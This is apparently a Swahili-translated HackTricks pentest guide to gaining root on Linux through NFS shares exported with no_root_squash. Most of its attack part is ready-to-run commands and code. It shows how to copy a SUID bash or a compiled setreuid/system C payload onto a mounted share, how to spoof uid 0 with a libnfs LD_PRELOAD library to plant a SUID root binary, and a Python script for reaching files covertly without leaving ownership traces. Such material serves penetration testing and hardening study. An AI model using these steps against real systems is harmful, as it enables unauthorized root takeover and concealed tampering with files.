NFS No Root Squash Misconfiguration Privilege Escalation
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Squashing Basic Info
NFS kwa kawaida (hasa katika linux) itatumia uid
na gid
zilizotolewa na mteja anayejitahidi kufikia faili (ikiwa kerberos haitumiki). Hata hivyo, kuna baadhi ya mipangilio ambayo inaweza kuwekwa kwenye seva ili kubadilisha tabia hii:
all_squash
: Inakandamiza ufikiaji wote kwa kubadilisha kila mtumiaji na kundi kuwanobody
(65534 unsigned / -2 signed). Hivyo, kila mtu ninobody
na hakuna watumiaji wanaotumika.root_squash
/no_all_squash
: Hii ni chaguo la kawaida kwenye Linux na inakanusha ufikiaji tu na uid 0 (root). Hivyo,UID
naGID
yoyote inakubaliwa lakini0
inakandamizwa kuwanobody
(hivyo hakuna uigaji wa root unaowezekana).- ``no_root_squash`: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata dirisha na mipangilio hii unaweza kufikia kama root.
Katika faili /etc/exports, ikiwa unapata dirisha ambalo limepangiliwa kama no_root_squash, basi unaweza kufikia kutoka kama mteja na kuandika ndani ya dirisha hilo kama ungekuwa root wa mashine hiyo.
Kwa maelezo zaidi kuhusu NFS angalia:
Privilege Escalation
Remote Exploit
Chaguo la 1 kutumia bash:
- Kukata dirisha hilo katika mashine ya mteja, na kama root kunakili ndani ya folda iliyokatwa /bin/bash binary na kuipa haki za SUID, na kutekeleza kutoka kwa mashine ya mwathirika hiyo bash binary.
- Kumbuka kwamba ili kuwa root ndani ya NFS share,
no_root_squash
lazima iwe imepangiliwa kwenye seva. - Hata hivyo, ikiwa haijawezeshwa, unaweza kupandisha hadhi kwa mtumiaji mwingine kwa kunakili binary hiyo kwenye NFS share na kuipa ruhusa ya SUID kama mtumiaji unayetaka kupandisha hadhi.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
Chaguo 2 kutumia msimbo wa c uliotungwa:
- Kuweka hiyo directory kwenye mashine ya mteja, na kama root kunakili ndani ya folda iliyowekwa payload yetu iliyotungwa ambayo itatumia ruhusa ya SUID, itapeleka SUID haki, na kutekeleza kutoka kwa mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya C SUID payloads).
- Vikwazo sawa kama hapo awali
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
tip
Kumbuka kwamba ikiwa unaweza kuunda tunnel kutoka kwa mashine yako hadi kwa mashine ya mwathirika unaweza bado kutumia toleo la Remote kutekeleza kupanda kwa haki hii kwa kutunga bandari zinazohitajika.
Hila ifuatayo ni katika kesi faili /etc/exports
inaonyesha IP. Katika kesi hii hutaweza kutumia kwa hali yoyote exploit ya mbali na utahitaji kudhulumu hila hii.
Sharti lingine muhimu ili exploit ifanye kazi ni kwamba export ndani ya /etc/export
lazima litumie bendera ya insecure
.
--Sijui kama /etc/export
inaonyesha anwani ya IP hila hii itafanya kazi--
Basic Information
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikesheni ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutekeleza kunahusisha kutumia libnfs, maktaba inayoruhusu kutunga wito wa NFS RPC.
Compiling the Library
Hatua za ukusanyaji wa maktaba zinaweza kuhitaji marekebisho kulingana na toleo la kernel. Katika kesi hii maalum, syscalls za fallocate zilikuwa zimeandikwa. Mchakato wa ukusanyaji unajumuisha amri zifuatazo:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Kufanya Uhalifu
Uhalifu unahusisha kuunda programu rahisi ya C (pwn.c
) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana (a.out
) inawekwa kwenye sehemu yenye suid root, ikitumia ld_nfs.so
kudanganya uid katika wito za RPC:
- Kusanya msimbo wa uhalifu:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- Weka exploit kwenye share na badilisha ruhusa zake kwa kudanganya uid:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- Teua exploit ili kupata ruhusa za mzizi:
/mnt/share/a.out
#root
Bonus: NFShell kwa Ufikiaji wa Kificho
Mara tu ufikiaji wa root unapopatikana, ili kuingiliana na NFS share bila kubadilisha umiliki (ili kuepuka kuacha alama), script ya Python (nfsh.py) inatumika. Script hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye share bila matatizo ya ruhusa:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
Kimbia kama:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.